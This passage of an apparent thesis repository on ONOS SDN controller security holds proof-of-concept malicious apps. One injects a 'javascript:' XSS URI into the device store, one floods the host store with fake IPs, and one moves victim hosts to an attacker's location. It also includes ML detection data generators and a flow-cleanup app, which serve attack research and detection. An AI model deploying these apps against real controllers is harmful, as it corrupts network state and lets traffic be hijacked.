117 | }
118 |
119 | return null;
120 | }
121 | }
--------------------------------------------------------------------------------
/apps/xssdevice-app/src/main/java/org/onosproject/xssdevice/XssDevicePoc.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright 2023-present Open Networking Foundation
3 | *
4 | * Licensed under the Apache License, Version 2.0 (the "License");
5 | * you may not use this file except in compliance with the License.
6 | * You may obtain a copy of the License at
7 | *
8 | * http://www.apache.org/licenses/LICENSE-2.0
9 | *
10 | * Unless required by applicable law or agreed to in writing, software
11 | * distributed under the License is distributed on an "AS IS" BASIS,
12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | * See the License for the specific language governing permissions and
14 | * limitations under the License.
15 | */
16 | package org.onosproject.xssdevice;
17 |
18 | import org.apache.felix.scr.annotations.Activate;
19 | import org.apache.felix.scr.annotations.Component;
20 | import org.apache.felix.scr.annotations.Deactivate;
21 | import org.apache.felix.scr.annotations.Reference;
22 | import org.apache.felix.scr.annotations.ReferenceCardinality;
23 | import org.slf4j.Logger;
24 | import org.slf4j.LoggerFactory;
25 | import org.onosproject.core.CoreService;
26 | import org.onosproject.net.device.DeviceStore;
27 | import org.onosproject.net.Device;
28 | import org.onosproject.net.DeviceId;
29 | import java.net.URI;
30 | import org.onlab.packet.ChassisId;
31 | import org.onosproject.net.DefaultAnnotations;
32 | import org.onosproject.net.device.DefaultDeviceDescription;
33 | import org.onosproject.net.provider.ProviderId;
34 | import java.io.StringWriter;
35 | import java.io.PrintWriter;
36 | import org.onosproject.net.device.DeviceService;
37 | import java.util.Random;
38 | import java.util.ArrayList;
39 | import java.util.List;
40 |
41 | /**
42 | * XSS device POC application
43 | */
44 | @Component(immediate = true)
45 | public class XssDevicePoc {
46 |
47 | private final Logger log = LoggerFactory.getLogger(getClass());
48 |
49 | private final String PAYLOAD = "CLICKME ";
50 |
51 | @Reference(cardinality = ReferenceCardinality.MANDATORY_UNARY)
52 | protected CoreService coreService;
53 |
54 | @Reference(cardinality = ReferenceCardinality.MANDATORY_UNARY)
55 | protected DeviceStore deviceStore;
56 |
57 | @Reference(cardinality = ReferenceCardinality.MANDATORY_UNARY)
58 | protected DeviceService deviceService;
59 |
60 | @Activate
61 | protected void activate() {
62 | coreService.registerApplication("org.onosproject.xssdevice.app", () -> log.info("Periscope down."));
63 | injectXss();
64 | log.info("Started xssdevice App!");
65 | }
66 |
67 | @Deactivate
68 | protected void deactivate() {
69 | log.info("Stopped xssdevice App!");
70 | }
71 |
72 | private void injectXss() {
73 | try {
74 | URI uri = new URI("javascript:alert(1)");
75 |
76 | DeviceId dId = pickRandomDevice().id();
77 |
78 | ChassisId cId = new ChassisId(5);
79 |
80 | DefaultAnnotations sa = DefaultAnnotations.builder().build();
81 |
82 | DefaultDeviceDescription deviceDescription = new DefaultDeviceDescription(uri, Device.Type.SWITCH, PAYLOAD,
83 | PAYLOAD, PAYLOAD, PAYLOAD, cId, sa);
84 | deviceStore.createOrUpdateDevice(ProviderId.NONE, dId, deviceDescription);
85 |
86 | log.info("Payload injected!");
87 |
88 | } catch (Exception e) {
89 | e.printStackTrace();
90 | StringWriter sw = new StringWriter();
91 | PrintWriter pw = new PrintWriter(sw);
92 | e.printStackTrace(pw);
93 | log.info(sw.toString());
94 | log.info("exception!!!!!!11!!!!11!");
95 | }
96 | }
97 |
98 | // pickRandomDevice picks a random device
99 | private Device pickRandomDevice() {
100 | Iterable devices = deviceService.getDevices();
101 | Random rand = new Random();
102 | List deviceList = new ArrayList();
103 | devices.forEach(deviceList::add);
104 | Device randomDevice = deviceList.get(rand.nextInt(deviceList.size()));
105 |
106 | return randomDevice;
107 | }
108 | }
--------------------------------------------------------------------------------
/onos-dm/out/predict1.out:
--------------------------------------------------------------------------------
1 | Start time: 08:35:05
2 | ----------- Training data -----------
3 | Read 1000/1000 lines
4 | Model intercept: [0.45362965]
5 | Model coef: [[ 0.00930541 -0.201505 -0.08063287 -0.31379289 0.04821109 -0.00706431
6 | 0.20176571 0.08814026 0.22450939 0.05680557 -0.03375725 -0.03792975
7 | -0.07347126 -0.17010995 0.16166818 -0.1482595 0.10722177 -0.12865706
8 | 0.09150549 0.07570399 -0.15883623 0.13775833 -0.02749458 0.06827349
9 | 0.07249931 -0.00331505 0.01940131 -0.04701076 -0.11123745 0.03264133
10 | 0.00473902 0.14491994 0.11618835 0.18173058 -0.06869588 -0.09785899
11 | -0.19739601 -0.18001466 0.04149096 -0.17389321 0.21443231 -0.14482149
12 | 0.05300908 0.17317241 -0.18538794 0.39363553 -0.12526721 0.15906628
13 | -0.2801957 -0.11023083]]
14 | Model score: 0.57
15 | Model confusion matrix:
16 | [[379 164]
17 | [266 191]]
18 | ----------- Test data -----------
19 | Read 200/200 lines
20 | Model score: 0.455
21 | Model confusion matrix:
22 | [[64 45]
23 | [64 27]]
24 | End time: 08:35:05
25 | Time difference is 0.0 seconds
26 |
27 |
28 |
29 |
30 | Start time: 08:35:44
31 | ----------- Training data -----------
32 | Read 5000/5000 lines
33 | Model intercept: [0.066663]
34 | Model coef: [[-0.02000427 -0.00856048 0.05041218 0.01219351 -0.04425815 0.02215314
35 | 0.07090738 -0.09447646 0.01377628 0.0590997 -0.0709149 -0.06583122
36 | 0.01093524 0.05680269 0.07111625 -0.05747289 -0.0349563 -0.16439492
37 | -0.04899456 0.05313802 0.03096939 0.05236953 -0.06738932 -0.06004956
38 | 0.02820821 0.05511832 0.02020215 0.09540898 -0.14673288 0.00222738
39 | -0.02630136 0.01289259 -0.02278014 0.05532484 -0.05141782 -0.05074537
40 | -0.04971631 0.03263814 0.16097066 -0.01396526 -0.02540109 -0.07411055
41 | -0.00248324 -0.04218077 -0.02574775 0.13374394 0.0414952 0.09457155
42 | 0.05715287 -0.11243002]]
43 | Model score: 0.5342
44 | Model confusion matrix:
45 | [[2025 668]
46 | [1661 646]]
47 | ----------- Test data -----------
48 | Read 1000/1000 lines
49 | Model score: 0.5
50 | Model confusion matrix:
51 | [[385 162]
52 | [338 115]]
53 | End time: 08:35:44
54 | Time difference is 0.0 seconds
55 |
56 |
57 |
58 |
59 | Start time: 08:36:15
60 | ----------- Training data -----------
61 | Read 20000/20000 lines
62 | Model intercept: [0.03394676]
63 | Model coef: [[-0.03861191 0.04931607 0.07449358 0.05817177 0.02463464 0.02631613
64 | 0.03889309 -0.03294749 -0.01482289 -0.10508585 -0.0609968 0.02940456
65 | 0.02949645 0.02490895 0.05767322 0.00234761 -0.02327582 -0.05129731
66 | -0.0684811 0.0513657 -0.00651195 -0.05298714 -0.04759383 -0.03259931
67 | 0.00121365 0.02949021 -0.00358584 0.05930341 0.08226224 0.02898081
68 | -0.02642346 -0.09798426 -0.08085665 0.00043928 -0.02275487 -0.0326787
69 | -0.02193566 0.0056452 0.08473014 0.03108327 0.00670937 -0.01107172
70 | 0.00226148 -0.00901274 -0.0451641 0.01105306 0.0379289 0.00847789
71 | -0.05369933 0.0018892 ]]
72 | Model score: 0.5795
73 | Model confusion matrix:
74 | [[9658 1167]
75 | [7243 1932]]
76 | ----------- Test data -----------
77 | Read 4000/4000 lines
78 | Model score: 0.578
79 | Model confusion matrix:
80 | [[1940 294]
81 | [1394 372]]
82 | End time: 08:36:19
83 | Time difference is 4.0 seconds
84 |
85 |
86 |
87 |
88 | Start time: 08:36:46
89 | ----------- Training data -----------
90 | Read 100000/100000 lines
91 | Model intercept: [-0.01700361]
92 | Model coef: [[-0.06277242 -0.00113744 0.03658227 0.04852386 0.02818724 0.00134897
93 | 0.03086896 0.00114944 0.00509284 -0.06778711 -0.06259036 -0.01979433
94 | 0.01372712 0.03128051 0.03717852 0.00043469 0.01573707 -0.00742081
95 | -0.01428887 0.04596834 0.00992131 -0.02537386 -0.03534592 -0.03486252
96 | -0.01887781 0.00530162 -0.0012816 0.01558647 0.05902059 0.0461504
97 | -0.00873558 -0.04822901 -0.05258927 -0.02587124 -0.01979209 -0.00983027
98 | -0.00985184 -0.00379525 0.01071412 0.00988532 0.02835169 0.00259757
99 | 0.02457882 0.00326674 -0.01156015 0.01662989 -0.01506033 0.00307068
100 | -0.02924092 -0.00474239]]
101 | Model score: 0.61141
102 | Model confusion matrix:
103 | [[53142 843]
104 | [38016 7999]]
105 | ----------- Test data -----------
106 | Read 20000/20000 lines
107 | Model score: 0.60775
108 | Model confusion matrix:
109 | [[10602 199]
110 | [ 7646 1553]]
111 | End time: 08:40:11
112 | Time difference is 205.0 seconds
--------------------------------------------------------------------------------
/apps/ipsaturation-app/src/main/java/org/ipsaturation/app/IpSaturation.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright 2022-present Open Networking Foundation
3 | *
4 | * Licensed under the Apache License, Version 2.0 (the "License");
5 | * you may not use this file except in compliance with the License.
6 | * You may obtain a copy of the License at
7 | *
8 | * http://www.apache.org/licenses/LICENSE-2.0
9 | *
10 | * Unless required by applicable law or agreed to in writing, software
11 | * distributed under the License is distributed on an "AS IS" BASIS,
12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | * See the License for the specific language governing permissions and
14 | * limitations under the License.
15 | *
16 | * @author edoardottt, https://edoardottt.com/
17 | */
18 |
19 | package org.ipsaturation.app;
20 |
21 | import org.osgi.service.component.annotations.Activate;
22 | import org.osgi.service.component.annotations.Component;
23 | import org.osgi.service.component.annotations.Deactivate;
24 | import org.osgi.service.component.annotations.Reference;
25 | import org.osgi.service.component.annotations.ReferenceCardinality;
26 | import org.slf4j.Logger;
27 | import org.slf4j.LoggerFactory;
28 | import org.onlab.packet.IpAddress;
29 | import org.onlab.packet.MacAddress;
30 | import org.onosproject.core.CoreService;
31 | import org.onosproject.net.host.HostService;
32 | import org.onosproject.net.host.HostStore;
33 | import org.onosproject.net.provider.ProviderId;
34 | import org.onosproject.net.Host;
35 | import org.onosproject.net.HostId;
36 | import org.onosproject.net.HostLocation;
37 | import org.onosproject.net.device.DeviceService;
38 | import org.onosproject.net.device.DeviceStore;
39 | import org.onlab.packet.VlanId;
40 | import org.onosproject.net.host.DefaultHostDescription;
41 | import org.onosproject.net.DefaultAnnotations;
42 |
43 | import java.util.Random;
44 | import java.util.ArrayList;
45 | import java.util.List;
46 | import java.util.Set;
47 | import java.util.HashSet;
48 |
49 | /**
50 | * IPv4 Saturation Malicious App.
51 | */
52 | @Component(immediate = true)
53 | public class IpSaturation {
54 |
55 | private final Logger log = LoggerFactory.getLogger(getClass());
56 |
57 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
58 | protected CoreService coreService;
59 |
60 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
61 | protected HostService hostService;
62 |
63 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
64 | protected HostStore hostStore;
65 |
66 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
67 | protected DeviceService deviceService;
68 |
69 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
70 | protected DeviceStore deviceStore;
71 |
72 | @Activate
73 | protected void activate() {
74 | coreService.registerApplication("org.edoardottt.ipsaturation.app", () -> log.info("Periscope down."));
75 | editHostStore();
76 | log.info("Started ipsaturation App!");
77 | }
78 |
79 | @Deactivate
80 | protected void deactivate() {
81 | log.info("Stopped ipsaturation App!");
82 | }
83 |
84 | // editHostStore mess up with the Host Data Store.
85 | private void editHostStore() {
86 | int startIp = 5;
87 | int ipPool = 100;
88 | String baseIp = "10.0.0.";
89 |
90 | for (int i = startIp; i < ipPool; i++) {
91 | String chosenIp = baseIp + String.valueOf(i);
92 | addHost(chosenIp);
93 | }
94 | }
95 |
96 | // addHost
97 | private void addHost(String ipAddress) {
98 | MacAddress mac = MacAddress.valueOf("00:00:00:00:00:10");
99 | Host h = pickRandomHost();
100 | VlanId vlan = h.vlan();
101 | Set locations = h.locations();
102 |
103 | IpAddress ipA = IpAddress.valueOf(ipAddress);
104 | Set ip = new HashSet();
105 | ip.add(ipA);
106 |
107 | boolean configured = true;
108 | DefaultAnnotations annotations = DefaultAnnotations.builder().build();
109 | DefaultHostDescription hd = new DefaultHostDescription(mac, vlan, locations, ip, configured, annotations);
110 |
111 | ProviderId providerId = h.providerId();
112 | HostId hostId = HostId.hostId(mac.toString() + "0" + ipAddress.split("\\.")[3]);
113 | boolean replaceIps = true;
114 | hostStore.createOrUpdateHost(providerId, hostId, hd, replaceIps);
115 |
116 | log.info("Added Host {}!", ipAddress);
117 | }
118 |
119 | // pickRandomHost picks a random host
120 | private Host pickRandomHost() {
121 | Iterable hosts = hostService.getHosts();
122 | Random rand = new Random();
123 | List hostList = new ArrayList();
124 | hosts.forEach(hostList::add);
125 | Host randomHost = hostList.get(rand.nextInt(hostList.size()));
126 |
127 | return randomHost;
128 | }
129 | }
130 |
--------------------------------------------------------------------------------
/apps/impersonation-host-tracking-app/src/main/java/org/edoardottt/impersonationhosttracking/ImpersonationHostTracking.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright 2022-present Open Networking Foundation
3 | *
4 | * Licensed under the Apache License, Version 2.0 (the "License");
5 | * you may not use this file except in compliance with the License.
6 | * You may obtain a copy of the License at
7 | *
8 | * http://www.apache.org/licenses/LICENSE-2.0
9 | *
10 | * Unless required by applicable law or agreed to in writing, software
11 | * distributed under the License is distributed on an "AS IS" BASIS,
12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | * See the License for the specific language governing permissions and
14 | * limitations under the License.
15 | *
16 | * @author edoardottt, https://edoardottt.com/
17 | */
18 |
19 | package org.edoardottt.impersonationhosttracking;
20 |
21 | import org.osgi.service.component.annotations.Activate;
22 | import org.osgi.service.component.annotations.Component;
23 | import org.osgi.service.component.annotations.Deactivate;
24 | import org.osgi.service.component.annotations.Reference;
25 | import org.osgi.service.component.annotations.ReferenceCardinality;
26 | import org.slf4j.Logger;
27 | import org.slf4j.LoggerFactory;
28 | import org.onosproject.core.CoreService;
29 | import org.onosproject.net.host.HostService;
30 | import org.onosproject.net.host.HostStore;
31 | import org.onosproject.net.Host;
32 | import org.onosproject.net.HostId;
33 | import org.onosproject.net.HostLocation;
34 | import org.onosproject.net.device.DeviceService;
35 | import org.onosproject.net.device.DeviceStore;
36 | import org.onosproject.net.Device;
37 | import java.util.ArrayList;
38 | import java.util.List;
39 | import java.util.Set;
40 |
41 | /**
42 | * Impersonation Host Tracking Application.
43 | */
44 | @Component(immediate = true)
45 | public class ImpersonationHostTracking {
46 |
47 | private final Logger log = LoggerFactory.getLogger(getClass());
48 |
49 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
50 | protected CoreService coreService;
51 |
52 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
53 | protected HostService hostService;
54 |
55 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
56 | protected HostStore hostStore;
57 |
58 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
59 | protected DeviceService deviceService;
60 |
61 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
62 | protected DeviceStore deviceStore;
63 |
64 | @Activate
65 | protected void activate() {
66 | coreService.registerApplication("org.edoardottt.impersonationhosttracking.app",
67 | () -> log.info("Periscope down."));
68 | editHostStore();
69 | log.info("Started impersonationhosttracking App!");
70 | }
71 |
72 | @Deactivate
73 | protected void deactivate() {
74 | log.info("Stopped impersonationhosttracking App!");
75 | }
76 |
77 | // editHostStore mess up with the Host Data Store.
78 | private void editHostStore() {
79 | Iterable devices = deviceService.getDevices();
80 | List deviceList = new ArrayList();
81 | devices.forEach(deviceList::add);
82 | log.info("Impersonation Host Tracking App: Devices {}", deviceList);
83 | Device s2 = deviceList.get(1);
84 | Set hosts = hostStore.getConnectedHosts(s2.id());
85 | log.info("Impersonation Host Tracking App: Hosts {}", hosts.toString());
86 | List hostsArray = new ArrayList<>(hosts);
87 | List victims = new ArrayList<>();
88 | Host attacker = hostsArray.get(0);
89 | log.info("Impersonation Host Tracking App: Attacker {}", attacker.toString());
90 | for (Host h : hostsArray) {
91 | if (!h.equals(attacker)) {
92 | victims.add(h);
93 | }
94 | }
95 | log.info("Impersonation Host Tracking App: Victims {}", victims.toString());
96 | changeLocation(getLocations(attacker.id()).iterator().next(), victims);
97 | for (Host h : victims) {
98 | log.info("Impersonation Host Tracking App: Victim {} > new Locations {}", h.id(), getLocations(h.id()));
99 | }
100 | }
101 |
102 | private void changeLocation(HostLocation attacker, List victims) {
103 | for (Host h : victims) {
104 | log.info("Impersonation Host Tracking App: Targeting host {}", h);
105 | Set oldLocation = getLocations(h.id());
106 | log.info("Impersonation Host Tracking App: Victim Locations {}", oldLocation);
107 | hostStore.appendLocation(h.id(), attacker);
108 | log.info("Impersonation Host Tracking App: Victim Locations {}", getLocations(h.id()));
109 | hostStore.removeLocation(h.id(), oldLocation.iterator().next());
110 | log.info("Impersonation Host Tracking App: Victim Locations {}", getLocations(h.id()));
111 | }
112 | }
113 |
114 | private Set getLocations(HostId hID) {
115 | Host h = hostService.getHost(hID);
116 | Set locations = h.locations();
117 | return locations;
118 | }
119 | }
120 |
--------------------------------------------------------------------------------
/onos-dm/gendata2.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 | # -------- imports --------
4 | import os
5 | import itertools
6 | import random
7 |
8 | # -------- global variables --------
9 |
10 | directory = "/home/edoardottt/cybersecurity/thesis/onos-ml/data/"
11 | training_out_file = "training-data.txt"
12 | test_out_file = "test-data.txt"
13 | training_out_file_ml = "training-data-ml.txt"
14 | test_out_file_ml = "test-data-ml.txt"
15 | space = " "
16 | tab = " "
17 |
18 | apps = {
19 | "org.onosproject.fwd": ["getHost", "forward"],
20 | "org.edoardottt.malhosttracking.app": ["appendLocation", "removeLocation"],
21 | }
22 |
23 | app_name = {"org.onosproject.fwd": 1, "org.edoardottt.malhosttracking.app": 2}
24 | action_name = {"getHost": 3, "forward": 4, "appendLocation": 5, "removeLocation": 6}
25 |
26 | items = {
27 | "org.onosproject.fwd getHost": "1",
28 | "org.onosproject.fwd forward": "2",
29 | "org.edoardottt.malhosttracking.app appendLocation": "3",
30 | "org.edoardottt.malhosttracking.app removeLocation": "4",
31 | }
32 |
33 | items_fwd = {
34 | "org.onosproject.fwd getHost": "1",
35 | "org.onosproject.fwd forward": "2",
36 | }
37 |
38 | items_mal = {
39 | "org.edoardottt.malhosttracking.app appendLocation": "3",
40 | "org.edoardottt.malhosttracking.app removeLocation": "4",
41 | }
42 |
43 | fwds = ["1", "2"]
44 | mals = ["3", "4"]
45 |
46 | # -------- data creation --------
47 |
48 |
49 | def is_attack(stringa):
50 | if "3" in stringa:
51 | index3 = stringa.index("3")
52 | if "2" in stringa and stringa.index("2", index3, len(stringa) - 1):
53 | return True
54 |
55 | if "4" in stringa:
56 | index4 = stringa.index("4")
57 | if "2" in stringa and stringa.index("2", index4, len(stringa) - 1):
58 | return True
59 |
60 | return False
61 |
62 |
63 | def generate_cap(limit):
64 | result = [i for i in range(limit + 1)]
65 |
66 | temp = []
67 | temp += [p for p in itertools.product(items.values(), repeat=10)]
68 | for i in range(len(temp)):
69 | temp[i] += temp[i] + temp[i] + temp[i] + temp[i]
70 | if is_attack(temp[i]):
71 | temp[i] += (tab + "1",)
72 | else:
73 | temp[i] += (tab + "0",)
74 | for i in range(len(temp)):
75 | result[i] = temp[i]
76 | if i >= limit:
77 | break
78 |
79 | return result
80 |
81 |
82 | def add_zeros():
83 | result = []
84 |
85 | temp = []
86 | temp += [p for p in itertools.product(items_fwd.values(), repeat=19)]
87 | for i in range(len(temp)):
88 | temp[i] += temp[i] + tuple(random.choices(fwds, k=12)) + (tab + "0",)
89 |
90 | temp2 = []
91 | temp2 += [p for p in itertools.product(items_mal.values(), repeat=19)]
92 | for i in range(len(temp)):
93 | temp2[i] += temp2[i] + tuple(random.choices(mals, k=12)) + (tab + "0",)
94 |
95 | for i in range(len(temp)):
96 | result.append(temp[i])
97 |
98 | for i in range(len(temp2)):
99 | result.append(temp2[i])
100 |
101 | return result
102 |
103 |
104 | # -------- create datasets --------
105 |
106 |
107 | def create_data_folder():
108 | exist = os.path.exists(directory)
109 | if not exist:
110 | os.makedirs(directory)
111 | print("[ + ] Created output folder!")
112 | return
113 | print("[ + ] Output folder exists!")
114 |
115 |
116 | def create_datasets(entries, count):
117 | random.shuffle(entries)
118 |
119 | resultA = []
120 | resultB = []
121 |
122 | for i in range(int(len(entries) / 100 * count)):
123 | resultA.append(entries[i])
124 |
125 | for i in range(int(len(entries) / 100 * count), len(entries)):
126 | resultB.append(entries[i])
127 |
128 | return (resultA, resultB)
129 |
130 |
131 | def write_file(file, input):
132 | with open(directory + file, "w+") as f:
133 | for i in input:
134 | f.write("".join(i) + "\n")
135 |
136 |
137 | # -------- ML-friendly data transformation --------
138 |
139 |
140 | def trasform(listA, listB):
141 | resultA = []
142 | resultB = []
143 | for strelem in listA:
144 | for elem in app_name:
145 | strelem = strelem.replace(elem, str(app_name[elem]))
146 | for elem in action_name:
147 | strelem = strelem.replace(elem, str(action_name[elem]))
148 | resultA.append(strelem)
149 |
150 | for strelem in listB:
151 | for elem in app_name:
152 | strelem = strelem.replace(elem, str(app_name[elem]))
153 | for elem in action_name:
154 | strelem = strelem.replace(elem, str(action_name[elem]))
155 | resultB.append(strelem)
156 |
157 | return (resultA, resultB)
158 |
159 |
160 | # -------- main --------
161 |
162 | if __name__ == "__main__":
163 | create_data_folder()
164 |
165 | mid_entries = generate_cap(1000000)
166 |
167 | entries = mid_entries + add_zeros()
168 |
169 | print("[ + ] Generated {} items!".format(len(entries)))
170 |
171 | listA, listB = create_datasets(entries, 90)
172 |
173 | print("[ + ] Training files contain {} entries!".format(str(len(listA))))
174 | print("[ + ] Test files contain {} entries!".format(str(len(listB))))
175 |
176 | # write_file(training_out_file, listA)
177 | # write_file(test_out_file, listB)
178 | write_file(training_out_file_ml, listA)
179 | write_file(test_out_file_ml, listB)
180 |
--------------------------------------------------------------------------------
/apps/locationrouting-app/src/main/java/org/onosproject/locationrouting/LocationRouting.java:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright 2022-present Open Networking Foundation
3 | *
4 | * Licensed under the Apache License, Version 2.0 (the "License");
5 | * you may not use this file except in compliance with the License.
6 | * You may obtain a copy of the License at
7 | *
8 | * http://www.apache.org/licenses/LICENSE-2.0
9 | *
10 | * Unless required by applicable law or agreed to in writing, software
11 | * distributed under the License is distributed on an "AS IS" BASIS,
12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 | * See the License for the specific language governing permissions and
14 | * limitations under the License.
15 | *
16 | * @author edoardottt, https://edoardottt.com/
17 | */
18 |
19 | package org.onosproject.locationrouting;
20 |
21 | import java.util.Collection;
22 | import java.util.concurrent.ExecutorService;
23 | import java.util.List;
24 | import org.onlab.packet.MacAddress;
25 | import org.onosproject.core.ApplicationId;
26 | import org.onosproject.core.CoreService;
27 | import org.onosproject.net.Device;
28 | import org.onosproject.net.device.DeviceService;
29 | import org.onosproject.net.flow.criteria.Criterion;
30 | import org.onosproject.net.flow.criteria.Criterion.Type;
31 | import org.onosproject.net.flow.criteria.EthCriterion;
32 | import org.onosproject.net.flow.FlowRule;
33 | import org.onosproject.net.flow.FlowRuleService;
34 | import org.onosproject.net.Host;
35 | import org.onosproject.net.host.HostEvent;
36 | import org.onosproject.net.host.HostListener;
37 | import org.onosproject.net.host.HostService;
38 | import org.osgi.service.component.annotations.Activate;
39 | import org.osgi.service.component.annotations.Component;
40 | import org.osgi.service.component.annotations.Deactivate;
41 | import org.osgi.service.component.annotations.Reference;
42 | import org.osgi.service.component.annotations.ReferenceCardinality;
43 | import org.slf4j.Logger;
44 | import org.slf4j.LoggerFactory;
45 |
46 | import static java.util.concurrent.Executors.newSingleThreadScheduledExecutor;
47 | import static org.onlab.util.Tools.groupedThreads;
48 |
49 | import com.google.common.collect.Lists;
50 |
51 | /**
52 | * Location Routing.
53 | */
54 | @Component(immediate = true)
55 | public class LocationRouting {
56 |
57 | private final Logger log = LoggerFactory.getLogger(getClass());
58 |
59 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
60 | protected CoreService coreService;
61 |
62 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
63 | protected FlowRuleService flowRuleService;
64 |
65 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
66 | protected HostService hostService;
67 |
68 | @Reference(cardinality = ReferenceCardinality.MANDATORY)
69 | protected DeviceService deviceService;
70 |
71 | protected ExecutorService eventExecutor;
72 |
73 | private final InternalHostListener hostListener = new InternalHostListener();
74 |
75 | private ApplicationId appId;
76 |
77 | @Activate
78 | protected void activate() {
79 | appId = coreService.registerApplication("org.edoardottt.locationrouting.app",
80 | () -> log.info("Periscope down."));
81 | eventExecutor = newSingleThreadScheduledExecutor(groupedThreads("onos/locationrouting", "events-%d", log));
82 | hostService.addListener(hostListener);
83 | log.info("Started locationrouting App!");
84 | }
85 |
86 | @Deactivate
87 | protected void deactivate() {
88 | flowRuleService.removeFlowRulesById(appId);
89 | hostService.removeListener(hostListener);
90 | eventExecutor.shutdownNow();
91 | eventExecutor = null;
92 | log.info("Stopped locationrouting App!");
93 | }
94 |
95 | private class InternalHostListener implements HostListener {
96 | @Override
97 | public void event(HostEvent event) {
98 | eventExecutor.execute(() -> {
99 | log.info("Host {} has moved; cleaning up.", event.subject());
100 | cleanup(event.subject());
101 | });
102 | }
103 | }
104 |
105 | /**
106 | * For a given host, remove any flow rule which references it's addresses.
107 | *
108 | * @param host the host to clean up for
109 | */
110 | private void cleanup(Host host) {
111 | Iterable devices = deviceService.getDevices();
112 | List flowRules = Lists.newLinkedList();
113 | for (Device device : devices) {
114 | flowRules.addAll(cleanupDevice(device, host));
115 | }
116 | FlowRule[] flows = new FlowRule[flowRules.size()];
117 | flows = flowRules.toArray(flows);
118 | flowRuleService.removeFlowRules(flows);
119 | }
120 |
121 | private Collection extends FlowRule> cleanupDevice(Device device, Host host) {
122 | List flowRules = Lists.newLinkedList();
123 | MacAddress mac = host.mac();
124 | for (FlowRule rule : flowRuleService.getFlowEntries(device.id())) {
125 | for (Criterion c : rule.selector().criteria()) {
126 | if (c.type() == Type.ETH_DST || c.type() == Type.ETH_SRC) {
127 | EthCriterion eth = (EthCriterion) c;
128 | if (eth.mac().equals(mac)) {
129 | flowRules.add(rule);
130 | }
131 | }
132 | }
133 | }
134 | return flowRules;
135 | }
136 | }
137 |
--------------------------------------------------------------------------------
/onos-dm/gendata1.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 | # -------- imports --------
4 | import os
5 | import itertools
6 | import random
7 |
8 |
9 | # -------- global variables --------
10 |
11 | directory = "/home/edoardottt/cybersecurity/thesis/onos-ml/data/"
12 | training_out_file = "training-data.txt"
13 | test_out_file = "test-data.txt"
14 | training_out_file_ml = "training-data-ml.txt"
15 | test_out_file_ml = "test-data-ml.txt"
16 | space = " "
17 | tab = " "
18 |
19 | apps = {
20 | "org.onosproject.fwd": ["getHost", "forward"],
21 | "org.edoardottt.malhosttracking.app": ["appendLocation", "removeLocation"],
22 | }
23 |
24 | app_name = {"org.onosproject.fwd": 1, "org.edoardottt.malhosttracking.app": 2}
25 | action_name = {"getHost": 3, "forward": 4, "appendLocation": 5, "removeLocation": 6}
26 |
27 | # -------- data creation --------
28 |
29 |
30 | def generate_cap_attacks():
31 | result = []
32 | temp = []
33 |
34 | # getHost and/or forward (even 0)
35 | comb = []
36 | for i in range(6):
37 | comb += [p for p in itertools.product(apps["org.onosproject.fwd"], repeat=i)]
38 | for elem in comb:
39 | if len(elem) > 0:
40 | to_add = "org.onosproject.fwd" + "org.onosproject.fwd".join(elem)
41 | temp += [to_add]
42 |
43 | # appendLocation and/or RemoveLocation (at least 1)
44 | comb = []
45 | temp2 = []
46 | for i in range(1, 5):
47 | comb += [
48 | p
49 | for p in itertools.product(
50 | apps["org.edoardottt.malhosttracking.app"], repeat=i
51 | )
52 | ]
53 | count = 0
54 | for lista in comb:
55 | for elem in temp:
56 | to_add = (
57 | "org.edoardottt.malhosttracking.app"
58 | + "org.edoardottt.malhosttracking.app".join(lista)
59 | )
60 | temp2 += [to_add]
61 |
62 | # getHost and/or forward (at least 1 forward)
63 | comb = []
64 | for i in range(1, 6):
65 | comb += [p for p in itertools.product(apps["org.onosproject.fwd"], repeat=i)]
66 | for lista in comb:
67 | for elem in temp2:
68 | if not (len(list(set(lista))) == 1 and list(set(lista))[0] == "getHost"):
69 | result += [
70 | elem + "org.onosproject.fwd" + "org.onosproject.fwd".join(lista)
71 | ]
72 |
73 | for i in range(len(result)):
74 | result[i] = result[i] + tab + str(1)
75 |
76 | print("[ + ] Generated {} cap attacks!".format(len(result)))
77 |
78 | return result
79 |
80 |
81 | def generate_not_cap_attacks():
82 | result = []
83 |
84 | # getHost and/or forward (even 0)
85 | comb = []
86 | for i in range(16):
87 | comb += [p for p in itertools.product(apps["org.onosproject.fwd"], repeat=i)]
88 | for elem in comb:
89 | if len(elem) > 0:
90 | to_add = "org.onosproject.fwd" + "org.onosproject.fwd".join(elem)
91 | result += [to_add]
92 |
93 | # getHost and/or forward (even 0)
94 | comb = []
95 | for i in range(16):
96 | comb += [
97 | p
98 | for p in itertools.product(
99 | apps["org.edoardottt.malhosttracking.app"], repeat=i
100 | )
101 | ]
102 | for elem in comb:
103 | if len(elem) > 0:
104 | to_add = (
105 | "org.edoardottt.malhosttracking.app"
106 | + "org.edoardottt.malhosttracking.app".join(elem)
107 | )
108 | result += [to_add]
109 |
110 | for i in range(len(result)):
111 | result[i] = result[i] + tab + str(0)
112 |
113 | print("[ + ] Generated {} not cap attacks!".format(len(result)))
114 |
115 | return result
116 |
117 |
118 | # -------- create datasets --------
119 |
120 |
121 | def create_data_folder():
122 | exist = os.path.exists(directory)
123 | if not exist:
